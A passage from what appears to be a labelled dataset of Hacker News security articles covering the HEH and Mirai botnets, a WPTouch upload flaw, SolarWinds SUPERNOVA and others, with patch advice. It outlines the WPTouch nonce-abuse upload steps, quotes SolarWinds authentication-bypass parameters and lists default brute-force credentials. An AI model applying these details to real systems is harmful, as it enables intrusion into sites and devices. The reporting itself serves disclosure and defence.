The second phase commences with the HEH sample starting an HTTP server that displays the Universal Declaration of Human Rights in eight different languages and subsequently initializing a P2P module that keeps track of the infected peers and allows the attacker to run arbitrary shell commands, including the ability to wipe all data from the compromised device by triggering a self-destruct command.
Other commands make it possible to restart a bot, update the list of peers, and exit the current running bot, although an ""Attack"" command is yet to be implemented by the botnet authors.
""After the Bot runs the P2P module, it will execute the brute-force task against the Telnet service for the two ports 23 and 2323 in a parallel manner, and then complete its own propagation,"" the researchers said.
In other words, if the Telnet service is opened on port 23 or 2323, it attempts a brute-force attack using a password dictionary consisting of 171 usernames and 504 passwords. On a successful break-in, the newly infected victim is added to the botnet, thereby amplifying it.
""The operating mechanism of this botnet is not yet mature, [and] some important functions such as the attack module have not yet been implemented,"" the researchers concluded.
""With that being said, the new and developing P2P structure, the multiple CPU architecture support, the embedded self-destruction feature, all make this botnet potentially dangerous.""

",Malware
Vulnerability in WPTouch WordPress Plugin Allows Hackers to Upload PHP backdoors,https://thehackernews.com/2014/07/vulnerability-in-wptouch-wordpress.html,"If you own a mobile version for your Wordpress website using the popular WPtouch plugin, then you may expose to a critical vulnerability that could potentially allow any non-administrative logged-in user to upload malicious PHP files or backdoors to the target server without any admin privileges.

WordPress is a free and an open source blogging tool as well as a content management system (CMS) with 30,000 plugins, each of which offers custom functions and features enabling users to tailor their sites to their specific needs.

That is why, it is easy to setup and used by more than 73 million of websites across the world, and about 5.7 million them uses WPtouch plugin, making it one of the most popular plugins in the WordPress plugin directory.

WPtouch is a mobile plugin that automatically enables a user friendly and elegant mobile theme for rendering your WordPress website contents on the mobile devices. User can easily customize many aspects of its appearance by the administration panel and deliver a fast, user-friendly and stylish version of their site to its mobile visitors, without modifying or affecting the desktop version of the theme.

PHP SHELL UPLOAD VULNERABILITY
Security researchers at Sucuri have warned the WordPress users to update the popular WPTouch plugin after they uncovered a security vulnerability that could allow any logged-in user, without administrative privileges, to take over the website by uploading a backdoor inside your website's directories.

The vulnerability was discovered during a routine audit for the company's web application firewall (WAF). Researchers said that only those websites that allow registration of guest users, which is by-default enabled for the comments section of the site, are at great risk.

The vulnerable version of the plugin uses the ""admin_init"" hook in WordPress as an authentication method, which could lead user to gain unrestricted access to the website by uploading a malicious PHP files to the server.

It is quite simple to compromise the web location. The ""admin_initialize()"" method is called by the ""admin_init"" hook in the file ""core/classwptouchpro.php."" The admin nonce (number used once) is then generated and included on the WordPress script queue.
""This nonce was also used to verify whether or not a user could upload files to the server. As the script didn't use any other form of identification to check or authenticate the user's privilege to upload files, it was possible for any user to complete the upload in there,"" says the blog post.
STEPS TO HACK A WORDPRESS WEBSITE
All an attacker had to do in order to compromise a vulnerable website was to:
Log­in and get his nonce via wp-admin
Send an AJAX file upload request containing the leaked nonce and his backdoor
""So long story short – don't only use nonces to protect sensitive methods, always add functions such as ""current_user_can()"" or the likes to confirm a user's right to do something.""
The current security vulnerability only affects websites running the plugin versions 3.x. So, the users and website administrators who relies on the previous version have nothing to worry about, but they should update regardless.

The issue with WPTouch is not the only security vulnerability researchers at Sucuri have discovered. At the beginning of June, Sucuri found two serious vulnerabilities in the popular WordPress SEO plugin called ""All in One SEO Pack""

The security team also discovered a critical Remote Code Execution (RCE) flaw in 'Disqus Comment System' Plugin of Wordpress few weeks before.

",Vulnerability
Surveillance malware targets 350 high profile victims in 40 countries,https://thehackernews.com/2013/06/surveillance-malware-targets-350-high.html,"A global cyber espionage campaign affecting over 350 high profile victims in 40 countries, appears to be the work of Chinese hackers using a Surveillance malware called ""NetTraveler"".

Kaspersky Lab's team of experts published a new research report about NetTraveler, which is a family of malicious programs used by APT cyber crooks. The main targets of the campaign, which has been running since 2004, are Tibetan/Uyghur activists, government institutions, contractors and embassies, as well as the oil and gas industry.
Spear phishing emails were used to trick targets into opening malicious documents. The attackers are using two vulnerabilities in Microsoft Office including Exploit.MSWord.CVE-2010-333, Exploit.Win32.CVE-2012-0158, which have been patched but remain highly-popular on the hacking scene, and have run NetTraveler alongside other malware.

C&C servers are used to install additional malware on infected machines and exfiltrate stolen data and more than 22 gigabytes amount of stolen data stored on NetTraveler's C&C servers.

According to researchers, the largest number of samples we observed were created between 2010 and 2013. The largest number of infections has been spotted in Mongolia, India and Russia, also in China, South Korea, Germany, the US, Canada, the UK, Austria, Japan, Iran, Pakistan, Spain and Australia.

Researchers believe that hackers team behind this attack are 50 individuals, most of whom speak Chinese natively but also have a decent level of English.

Six victims were also hit by the Red October attackers, whom Kaspersky had profiled last year. Those victims included a military contractor in Russia and an embassy in Iran.

",Malware
Critical iOS Flaw allowed Hackers to Steal Cookies from Devices,https://thehackernews.com/2016/01/iOS-Cookie-Theft.html,"Apple has patched a critical vulnerability in its iOS operating system that allowed criminal hackers to impersonate end users' identities by granting read/write access to website's unencrypted authentication cookies.

The vulnerability was fixed with the release of iOS 9.2.1 on Tuesday, almost three years after it was first discovered and reported to Apple.

The vulnerability, dubbed ""Captive Portal"" bug, was initially discovered by Adi Sharabani and Yair Amit from online security company Skycure and privately reported to Apple in June 2013.

Here's How the Vulnerability Worked

The vulnerability caused due to the way iOS handles Cookie Stores at Captive Portals, generally a login page that requires users to authenticate themselves before connecting to the free or paid public Wi-Fi hotspots when they are first joining.

So, when a user with a vulnerable iPhone or iPad connects to a captive-enabled network (sample page shown in the screenshot below) – typically at coffee shops, hotels, and airports – a login window is displayed showing terms and conditions over a standard, unencrypted HTTP connection.
Once accepted, the affected user is able to browse the Internet normally, but the embedded browser shares its unencrypted cookie store with the Safari browser.

According to a blog post published by Skycure on Wednesday, this shared resource allowed hackers to create their own fake captive portal and associate it with the Wi-Fi network, enabling them to steal virtually any unencrypted cookie stored on the device when an affected iOS device is connected.

Here's the List of Attacks a Hacker can Perform

According to researchers, this captive portal vulnerability allows an attacker to:
Perform an Impersonation Attack – Attackers could steal users' unencrypted (HTTP) cookies associated with a website of their choice, allowing them to impersonate the victim's identity on the particular website.
Perform a Session Fixation Attack – This means, logging the victim into an attacker-controlled account (because of the shared Cookie Store). When the victims browse to the affected site via the Safari mobile browser, they'll be logged into the hacker's account instead of their own.
Perform a Cache-Poisoning Attack on the websites of the attacker's choice (by returning an HTTP response with caching headers). In this way, the attacker could execute malicious JavaScript every time the victim connects to that website in the future via the Safari mobile browser.

Patch Your Device Right Now!

The flaw affected iPhone 4S and iPad 2 devices and later. However, the vulnerability has been resolved with the release of iOS 9.2.1 in which there is an isolated cookie store for captive portals that will keep hackers at bay.

Skycure says that this is the longest time ever taken by Apple to fix a bug, but the patch was much more complicated than it would be for a typical bug. Though, the company says it has no reports of exploits in the wild.

So, in order to keep yourself safe from such attacks, download iOS 9.2.1 as an over-the-air update from the Settings menu on your iOS device right now.

",Vulnerability
Fake Angry Birds Game spreading Malware from Android Market,https://thehackernews.com/2012/01/fake-angry-birds-game-spreading-malware.html,"Fake Angry Birds Game spreading Malware from Android Market

From last week premium rate SMS Trojans surfaced in the Android Market. Google has pulled 22 apps that are masquerading as legitimate versions of popular games like Angry Birds and Cut the Rope. Security researchers have discovered a way to bypass an Android smartphone owner's permissions and access private data stored on their smartphone.

Avast Blog explain this as - For example, if someone tried to look for ""Cut the rope free"", this malicious application was in the fourth place in the search results. Apps published by the developer Miriada Production may look like well known Android games (Angry birds, Need for speed, World of Goo and others) and users could be easily confused.

The fake apps include ""Cut the Rope"", ""Need for Speed"", ""Assassins Creed"", ""Where's My Water? "",""Riptide GP"", ""Great Little War Game"", ""World of Goo"", ""Angry Birds"", ""Shoot The Birds"", ""Talking Tom Cat 2"", ""Bag It!"" and ""Talking Larry the Bird"". The apps have been pulled from the Android Market.

The fraudulent apps would install a premium rate SMS Trojan that would rack up hidden charges on the user's phone bill. The apps would lure customers into clicking on options that would send text messages to premium line numbers leaving the user to foot the bill. According to Lookout Mobile Security, the new threat called RuFraud has been found in an initial batch of apps on the Android Market that include horoscope apps, wallpapers, and game apps that pretend to be legitimate games like Angry Birds.

What will happens if these threats are installed in your mobile devices?
It will attempts to send text messages containing the string ""798657"" to premium-rate numbers using the infected device's current default SMS Center (SMSC) by exploiting the Permissions function (android.permission.SEND_SMS), Capable of sending an affected user's GPS location via HTTP POST, Opens several ports and connects to specific URLs to receive and execute commands from a remote user, Gathers information like International Mobile Equipment Identity (IMEI) and International Mobile Subscriber Identity (IMSI) numbers from infected systems, which is then sent to a specific site and Secretly forwards all incoming text messages to a remote user.

How do users get these threats?
Trend Micro has reported several incidents wherein malware came disguised as Android apps. Samples of Android malware found in the wild include:
ANDROIDOS_DROIDSMS.A: Came disguised as Windows Media Player.
ANDROIDOS_DROISNAKE.A: Came in the form of a game known as Tap Snake.
ANDROIDOS_GEINIMI.A: Came in the form of Trojanized apps hosted in certain third-party app stores in China.
ANDROIDOS_ADRD.A: Comes in the form of a Trojanized wallpaper app.
ANDROIDOS_LOTOOR.A: Trend Micro's detection for Trojanized versions of legitimate apps like ""Falling Down"".
ANDROIDOS_BGSERV.A: Trojanized version of Android Market Security Tool, which was released to address the modifications done by AndroidOS_LOTOOR.A.
Trend Micro Suggest ""Users can also check the developer's profile for other apps. Google also offers developer ratings, as well as the status 'Editor's Choice' that can further validate the developer's legitimacy. It is also a good practice to check app ratings and user feedback for more verification. The user rating and feedback feature give people a more accurate view of the experiences users have when using or installing the app. You can find it just below the app icon.,"".

",Vulnerability
Apache Struts 2 Flaws Affect Multiple Cisco Products,https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html,"After Equifax massive data breach that was believed to be caused due to a vulnerability in Apache Struts, Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework.

Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS.

However, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities—one discovered earlier this month, and another in March—one of which is believed to be used to breach personal data of over 143 million Equifax users.

Some of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws.

Cisco Launches Apache Struts Vulnerability Hunting

Cisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) we reported on September 5 and the remaining three also disclosed last week.

However, the remote code execution bug (CVE-2017-5638) that was actively exploited back in March this year is not included by the company in its recent security audit.

The three vulnerabilities—CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805—included in the Cisco security audit was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues.

The fourth vulnerability (CVE-2017-12611) that is being investigated by Cisco was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system.

Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware

Coming on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them.

This could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has observed that this flaw is under active exploitation to find vulnerable servers.

Security researchers from data centre security vendor Imperva recently detected and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload.

The majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe.

Out of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to ""insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application.""

This flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems.

The last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts.

Cisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services.

At the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the Cisco Bug Search Tool.

Since the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.

",Vulnerability
Mirai Variant Adds Dozen New Exploits to Target Enterprise IoT Devices,https://thehackernews.com/2019/03/mirai-botnet-enterprise-security.html,"Security researchers have uncovered a new variant of the infamous Mirai Internet of Things botnet, this time targeting embedded devices intended for use within business environments in an attempt to gain control over larger bandwidth to carry out devastating DDoS attacks.

Although the original creators of Mirai botnet have already been arrested and jailed, variants of the infamous IoT malware, including Satori and Okiru, keep emerging due to the availability of its source code on the Internet since 2016.

First emerged in 2016, Mirai is well known IoT botnet malware that has the ability to infect routers, and security cameras, DVRs, and other smart devices—which typically use default credentials and run outdated versions of Linux—and enslaves the compromised devices to form a botnet, which is then used to conduct DDoS attacks.

New Mirai Variant Targets Enterprise IoT Devices

Now, Palo Alto Network Unit 42 researchers have spotted the newest variant of Mirai that's for the first time targeting enterprise-focused devices, including WePresent WiPG-1000 Wireless Presentation systems and LG Supersign TVs.

The Mirai variant adds 11 new exploits to its ""multi-exploit battery,"" making it a total of 27 exploits, as well as a new set of ""unusual default credentials"" to use in brute force attacks against Internet-connected devices.

""These new features afford the botnet a large attack surface,"" Unit 42 researchers reported in a blog post published Monday. ""In particular, targeting enterprise links also grants it access to larger bandwidth, ultimately resulting in greater firepower for the botnet for DDoS attacks.""

While a remote code execution exploit for LG Supersign TVs (CVE-2018-17173) was made available in September last year, attack code exploiting a command-injection vulnerability in the WePresent WiPG-1000 was published in 2017.

Besides these two exploits, the new Mirai variant is also targeting various embedded hardware like:

Linksys routers
ZTE routers
DLink routers
Network Storage Devices
NVRs and IP cameras

After scanning and identifying vulnerable devices, the malware fetches the new Mirai payload from a compromised website and downloads it on a target device, which is then added to the botnet network and eventually can be used to launch HTTP Flood DDoS attacks.

Mirai is the infamous botnet that was responsible for some of the record-breaking DDoS attacks, including those against France-based hosting provider OVH and Dyn DNS service that crippled some of the world's biggest sites, including Twitter, Netflix, Amazon, and Spotify.

Mirai-based attacks experienced sudden rise after someone publicly released its source code in October 2016, allowing attackers to upgrade the malware threat with newly disclosed exploits according to their needs and targets.

""These [new] developments underscore the importance for enterprises to be aware of the IoT devices on their network, change default passwords, ensure that devices are fully up-to-date on patches,"" researchers said.

""And in the case of devices that cannot be patched, to remove those devices from the network as a last resort.""

So the takeaway? Make sure you change the default passwords for your internet-connected devices as soon as you bring them home or in office, and always keep them fully updated with new security patches.

",Malware
19-Year-Old Teenage Hacker Behind DDoS-for-Hire Service Pleads Guilty,https://thehackernews.com/2016/11/titanium-stresser-ddos-tool.html,"Due to the worldwide promotion of Mirai botnet that knocked down half of the Internet last Friday, hackers and even script kiddies have started creating their own botnet networks by hacking millions of IoT devices and selling them as DDoS-for-hire service to overwhelm targets with data.

A 19-year-old student from Hertford has pled guilty to running one such DDoS-for-hire service that shortly became one of the most popular DDoS booter tools in the market to conduct distributed denial of service (DDoS) attacks.

Dubbed Titanium Stresser, the tool was used to conduct coordinated DDoS attacks around the world and brought Adam Mudd an income of more than US$385,000 (£315,000 A$505,000), according to the Eastern Region Special Operations Unit (ERSOU).

On 28 October at the Old Bailey, Mudd pleaded guilty to two counts of the Computer Misuse Act and one count of money laundering offense and will be sentenced in December.

Mudd, who was arrested at his home in 2015, admitted to committing unauthorized acts of creating the DDoS service, using it himself, and then renting it to other cyber criminals through the service's website.
Prosecutor Jonathan Polnay says the teenager allegedly launched 592 DDoS attacks against 181 IP addresses between December 2013 and March last year.

""Titanium Stresser is a computer program created by the defendant, and it is not an unimpressive piece of software in terms of design,"" Polnay told the court. ""It carried out DDoS attacks, and it takes down computer networks and websites.""

Moreover, from the detailed logs authorities discovered in his home, investigators were able to determine that other criminals had used Titanium Stresser to launch a whopping 1.7 Million DDoS attacks on targets worldwide.

It has also been believed that the infamous Lizard Squad gang used the source code of Titanium Stresser as a base for its Lizard Stresser -- another DDoS-for-hire service most famously used to take down the PlayStation and Xbox Live networks in 2014.

Mudd is scheduled to be sentenced in December 2016.

",Cyber_Attack
A New Hacking Group Hitting Russian Companies With Ransomware,https://thehackernews.com/2020/09/russian-ransomware-hack.html,"As ransomware attacks against critical infrastructure continue to spike in recent months, cybersecurity researchers have uncovered a new entrant that has been actively trying to conduct multistage attacks on large corporate networks of medical labs, banks, manufacturers, and software developers in Russia.
The ransomware gang, codenamed ""OldGremlin"" and believed to be a Russian-speaking threat actor, has been linked to a series of campaigns at least since March, including a successful attack against a clinical diagnostics laboratory that occurred last month on August 11.
""The group has targeted only Russian companies so far, which was typical for many Russian-speaking adversaries, such as Silence and Cobalt, at the beginning of their criminal path,"" Singaporean cybersecurity firm Group-IB said in a report published today and shared with The Hacker News.
""Using Russia as a testing ground, these groups then switched to other geographies to distance themselves from vicious actions of the victim country's police and decrease the chances of ending behind the bars.""
OldGremlin's modus operandi involves using custom backdoors — such as TinyNode and TinyPosh to download additional payloads — with the ultimate goal of encrypting files in the infected system using TinyCryptor ransomware (aka decr1pt) and holding it hostage for about $50,000.
In addition, the operators gained an initial foothold on the network using a phishing email sent on behalf of Russia's RBC Group, a Moscow-based major media group, with ""Invoice"" in the subject line.
The message informed the recipient of their inability to contact the victim's colleague with regards to an urgent bill payment along with a malicious link to pay the bill that, when clicked, downloaded the TinyNode malware.
Upon finding their way in, the bad actor used remote access to the infected computer, leveraging it to laterally move across the network via Cobalt Strike and gather authentication data of the domain administrator.
In a different variant of the attack observed in March and April, the cybercriminals were found using COVID-themed phishing lures to financial enterprises that masqueraded as a Russian microfinance organization to deliver the TinyPosh Trojan.
Subsequently, a separate wave of the campaign was detected on August 19, when the cybercriminals sent out spear-phishing messages exploiting the ongoing protests in Belarus decrying the government, proving once again that threat actors are adept at capitalizing world events to their advantage.
In all, OldGremlin has been behind nine campaigns between May and August, according to Group-IB.
""What distinguishes OldGremlin from other Russian-speaking threat actors is their fearlessness to work in Russia,"" Oleg Skulkin, a senior digital forensics analyst at Group-IB, said.
""This indicates that the attackers are either fine-tuning their techniques benefiting from home advantage before going global, as it was the case with Silence and Cobalt, or they are representatives of some of Russia's neighbors who have a strong command of Russian.""

",Cyber_Attack
ServerPro Web Hosting Defaced by Team L0g!cs,https://thehackernews.com/2012/03/serverpro-web-hosting-defaced-by-team.html,"ServerPro Web Hosting Defaced by Team L0g!cs

Web hosting provider ServerPro has been compromised and completely defaced by hacking group named ""Team L0g!cs"".

ServerPro boasts to have over 200,000 clients over a 10 year stand. Shown Defacement page that showcases information about the hack and the group behind the attack, along with some nice ambient music. The attackers were even nice enough to leave behind a contact email in case you have any questions.

While writing this Post , Google showing ""Warning, found malware on the site"" on the homepage, as shown below:

If we Proceed by ignoring the warning, Visitors can see Deface Page still on the page.

",Malware
Hackers Claims to compromise Intel's Sensitive Data,https://thehackernews.com/2012/02/hackers-claims-to-compromise-intels.html,"Hackers Claims to compromise Intel's Sensitive Data

A security researcher under the name of ""WeedGrower"", or ""X-pOSed"" has been on a roll since the start of 2012. He has ambushed huge sites such as AOL, NASA, Hotmail, Myspace, Xbox, USBank, Yahoo, and VISA, he has also leaked sensitive data on most of those websites.

Hackers today Claiming that he compromise Intel's Sensitive Data like User Base & Credit Cards. He found a way to expose sensitive data via the subscriber section on Intel.com and he also has access to the INTEL.com database which reveals Credit Card Numbers, Social Security Numbers, Emails, Passwords, and more. ""WeedGrower"", or ""X-pOSed"" has threatened that he's going to be leaking this soon if he doesn't get a response from Intel.com carriers.

Hacker said ,""I've got to give some applause to all these pseudo-security technicians out there. I cut Intel a break, I have access to a database and another vulnerability which enables the right to read user data. I'll be gracious here and NOT spill the data, but I will provide screenshots to prove that I have access to Credit Card data and such.""

The first vulnerability that will be disclosed is familiar to the Dell vulnerability that was found earlier this month, the vulnerability isn't critical and it can simply be used as a weapon to spill sensitive information. A smart user will get a target to register on this sub-domain, get the users email, replace it with the email that is already licensed, and get the target's information spilled.

For Example Visit Here, The vulnerability speaks for itself. The proof of Database Extracted is shown above. We are waiting for confirmation of this Hack from Intel Officials. Stay tuned !

",Vulnerability
"New Police Ransomware 'Browlock' targeting users in US, Canada and UK",https://thehackernews.com/2013/08/new-police-ransomware-browlock.html,"What would you do if a European Cybercrime Agency locked your PC until you paid a fine? A new Police Ransomware family dubbed Trojan:HTML/Browlock by F-secure Antivirus firm, known as Browlock, which spreads by tricking unsuspecting web surfers into believing the police are after them.

Ransomware is malware that, when installed on a device, can be locked down from remote locations by cyber criminals. Usually, ransomware appears to be an official warning telling the user that the computer has to be locked because it showed illegal activities and payment is necessary to access files.
Ransomware is a global phenomenon, but the criminals have learned to localize and customize their software to make the threat seem scarier so that victims act quickly before they have time to think.

Researchers said they are tracking this Malware from a while ago and now crooks behind the malware ate targeting users from some new countries including the United States, Canada and the UK.

F-Secure traced the data from an attack to a server in St. Petersburg, Russia. If users surf to a compromised site foisting the scam or click on a malicious ad, their screen becomes locked, and a message is displayed.

In Browlock, The messages are customized to appear like they come from federal authorities in the victim's home country or region, including the European Cybercrime Centre and the Royal Canadian Mounted Police.

""We did notice that the fine has dropped from 250 CAD to 150 CAD compared to a previous lock screen below. It seems that in today's economy, even ransomware victims can't be expected to pay up such high prices.""

It's conservatively estimated that more than $5 million a year is being extorted from victims. Ransomware is just like any other computer infection, but it can be potentially worse since it can cause permanent damage, such as deleted files and files that become encrypted forever.

If you think you're safe from Ransomware because you own a Mac or Linux, think again. Scammers are now targeting all platform users including iPhone and Android.

",Malware
BASHLITE Malware leverages ShellShock Bug to Hijack Devices Running BusyBox,https://thehackernews.com/2014/11/bashlite-malware-leverages-shellshock.html,"Cyber criminals are using new malware variants by exploiting GNU Bash vulnerability referred to as ShellShock (CVE-2014-6271) in order to infect embedded devices running BusyBox software, according to a researcher.

A new variant of ""Bashlite"" malware targeting devices running BusyBox software was spotted by the researchers at Trend Micro shortly after the public disclosure of the ShellShock vulnerability.

BusyBox provides set of command line utilities that are specifically designed to run in constrained embedded environments. At compile time, different capabilities can be left out, reducing the size of the binaries, and efforts are made to make them memory efficient. This makes the software an excellent candidate for use in consumer electronics devices, which seem to have been the items of interest in this case.

The malware variant, detected as ELF_BASHLITE.A (ELF_FLOODER.W), when executed on victim's machine, scans compromised networks for devices such as routers and Android phones running BusyBox to brute force logins through a preset list of usernames and passwords.

The variant would then run a command to download and run bin.sh and bin2.sh scripts to gain control over Busybox systems once a connection was established. Therefore, this newer version of Bashlite is designed not only to identify systems running BusyBox, but also to hijack them.
""Remote attackers can possibly maximize their control on affected devices by deploying other components or malicious software into the system depending on their motive,"" threat response engineer at Trend Micro, Rhena Inocencio wrote on a blog post.
""As such, a remote attacker can issue commands or download other files on the devices thus compromising its security.""
Miscreants attempted to log in using a predefined list of usernames which include 'root', 'admin' and 'support' and common and default list of passwords such as 'root,' 'admin,' '12345,' 'pass,' 'password,' '123456' and so on.

Trend Micro's Inocencio urged users to change their default usernames and passwords in order to keep them on the safer side, and also to disable remote shells, if possible, to avoid its exploitation.

Bashlite malware includes the payload of the ShellShock exploit code and threat actors have used this critical ShellShock Bash command vulnerability (CVE-2014-6271) to build botnets from hijacked devices, launch distributed denial-of-service (DDoS) attacks, and target network attached storage boxes among other exploits.

The Critical ShellShock Bash bug was disclosed on September 24 and by September 30 security firms estimated that attacks using the exploit could top 1 billion, and more than 1000 organizations patched the ShellShock bug as fixes became available.

",Cyber_Attack
Microsoft Releases Patches for 64 Flaws — Two Under Active Attack,https://thehackernews.com/2019/03/microsoft-windows-security-updates.html,"It's time for another batch of ""Patch Tuesday"" updates from Microsoft.

Microsoft today released its March 2019 software updates to address a total of 64 CVE-listed security vulnerabilities in its Windows operating systems and other products, 17 of which are rated critical, 45 important, one moderate and one low in severity.

The update addresses flaws in Windows, Internet Explorer, Edge, MS Office, and MS Office SharePoint, ChakraCore, Skype for Business, and Visual Studio NuGet.

Four of the security vulnerabilities, all rated important, patched by the tech giant this month were disclosed publicly, of which none were found exploited in the wild.

Microsoft Patches Two Zero-Day Flaws Under Active Attack

Microsoft has also patched two separate zero-day elevation of privilege vulnerabilities in Windows.

Both flaws, also rated as important, reside in Win32k component that hackers are actively exploiting in the wild, including the one that Google warned of last week.

If you are unaware, Google last week released a critical update for Chrome web browser to address a high-severity flaw (CVE-2019-5786) that attackers found exploiting in combination with a Windows vulnerability (CVE-2019-0808).

Successful exploitation of both flaws together allowed remote attackers to execute arbitrary code on targeted computers running Windows 7 or Server 2008 and take full control of them.

The second zero-day elevation of privilege vulnerability in Windows, assigned as CVE-2019-0797, that's also being exploited in the wild is similar to the first one but affects Windows 10, 8.1, Server 2012, 2016, and 2019.

This flaw was detected and reported to Microsoft by security researchers Vasily Berdnikov and Boris Larin of Kaspersky Labs, who in a blog post today revealed that the flaw has actively been exploited in targeted attacks by several threat actors including, FruityArmor and SandCat.
""CVE-2019-0797 is a race condition that is present in the win32k driver due to a lack of proper synchronization between undocumented syscalls NtDCompositionDiscardFrame and NtDCompositionDestroyConnection,"" the researchers say.

Update Also Patches 17 Critical and 45 Important Flaws

As expected, almost all of the listed critical-rated vulnerabilities lead to remote code execution attacks and primarily impact various versions of Windows 10 and Server editions. Most of these flaws reside in Chakra Scripting Engine, VBScript Engine, DHCP Client, and IE.

While some of the important-rated vulnerabilities also lead to remote code execution attacks, others allow elevation of privilege, information disclosure, and denial of service attacks.

Users and system administrators are strongly recommended to apply the latest security patches as soon as possible to keep hackers and cybercriminals away from taking control of their systems.

For installing the latest security patch updates, head on to Settings → Update & Security → Windows Update → Check for updates, on your computer system or you can install the updates manually.

Windows 10 Now Automatically Uninstalls Updates That Cause Problems

For addressing problematic update issues on Windows 10 devices, Microsoft on Monday introduced a safety measure that automatically uninstalls buggy software updates installed on your system if your operating system detects a startup failure.

So after installing this month's security update, if you receive the following notification on your device, your Windows 10 computer has been recovered from a startup failure, and the operating system resolved the failure by uninstalling recently installed Windows updates.
""We removed some recently installed updates to recover your device from a startup failure.""
Windows 10 will then automatically block installation of that problematic updates for the next 30 days, and will deliver the update again after investigating and fixing the issue.

Adobe also rolled out security updates today to fix just two critical arbitrary code execution vulnerabilities in Adobe Photoshop CC and another in Adobe Digital Editions. Users of the affected Adobe software for Windows and macOS are advised to update their software packages to the latest versions.
",Vulnerability
A New SolarWinds Flaw Likely Had Let Hackers Install SUPERNOVA Malware,https://thehackernews.com/2020/12/a-new-solarwinds-flaw-likely-had-let.html,"An authentication bypass vulnerability in the SolarWinds Orion software may have been leveraged by adversaries as a zero-day to deploy the SUPERNOVA malware in target environments.
According to an advisory published yesterday by the CERT Coordination Center, the SolarWinds Orion API that's used to interface with all other Orion system monitoring and management products suffers from a security flaw (CVE-2020-10148) that could allow a remote attacker to execute unauthenticated API commands, thus resulting in a compromise of the SolarWinds instance.
""The authentication of the API can be bypassed by including specific parameters in the Request.PathInfo portion of a URI request to the API, which could allow an attacker to execute unauthenticated API commands,"" the advisory states.
""In particular, if an attacker appends a PathInfo parameter of 'WebResource.adx,' 'ScriptResource.adx,' 'i18n.ashx,' or 'Skipi18n' to a request to a SolarWinds Orion server, SolarWinds may set the SkipAuthorization flag, which may allow the API request to be processed without requiring authentication.""
It's worth noting that SolarWinds' updated security advisory on December 24 made note of an unspecified vulnerability in the Orion Platform that could be exploited to deploy rogue software such as SUPERNOVA. But exact details of the flaw remained unclear until now.
In the past week, Microsoft disclosed that a second threat actor might have been abusing SolarWinds' Orion software to drop an additional piece of malware called SUPERNOVA on target systems.
It was also corroborated by cybersecurity firms Palo Alto Networks' Unit 42 threat intelligence team and GuidePoint Security, both of whom described it as a .NET web shell implemented by modifying an ""app_web_logoimagehandler.ashx.b6031896.dll"" module of the SolarWinds Orion application.
While the legitimate purpose of the DLL is to return the logo image configured by a user to other components of the Orion web application via an HTTP API, the malicious additions allow it to receive remote commands from an attacker-controlled server and execute them in-memory in the context of the server user.
""SUPERNOVA is novel and potent due to its in-memory execution, sophistication in its parameters and execution and flexibility by implementing a full programmatic API to the .NET runtime,"" Unit 42 researchers noted.
The SUPERNOVA web shell is said to be dropped by an unidentified third-party different from the SUNBURST actors (tracked as ""UNC2452"") due to the aforementioned DLL not being digitally signed, unlike the SUNBURST DLL.
The development comes as government agencies and cybersecurity experts are working to understand the full consequences of the hack and piece together the global intrusion campaign that has potentially ensnared 18,000 of SolarWinds' customers.
FireEye, which was the first company to uncover the SUNBURST implant, said in an analysis that the actors behind the espionage operation routinely removed their tools, including the backdoors, once legitimate remote access was achieved — implying a high degree of technical sophistication and attention to operational security.
Evidence unearthed by ReversingLabs and Microsoft had revealed that key building blocks for the SolarWinds hack were put in place as early as October 2019 when the attackers laced a routine software update with innocuous modifications to blend in with the original code and later made malicious changes that allowed them to launch further attacks against its customers and to steal data.
To address the authentication bypass vulnerability, it's recommended that users update to the relevant versions of the SolarWinds Orion Platform:
2019.4 HF 6 (released December 14, 2020)
2020.2.1 HF 2 (released December 15, 2020)
2019.2 SUPERNOVA Patch (released December 23, 2020)
2018.4 SUPERNOVA Patch (released December 23, 2020)
2018.2 SUPERNOVA Patch (released December 23, 2020)
For customers who have already upgraded to the 2020.2.1 HF 2 or 2019.4 HF 6 versions, it's worth noting that both the SUNBURST and SUPERNOVA vulnerabilities have been addressed, and no further action is required.

",Malware
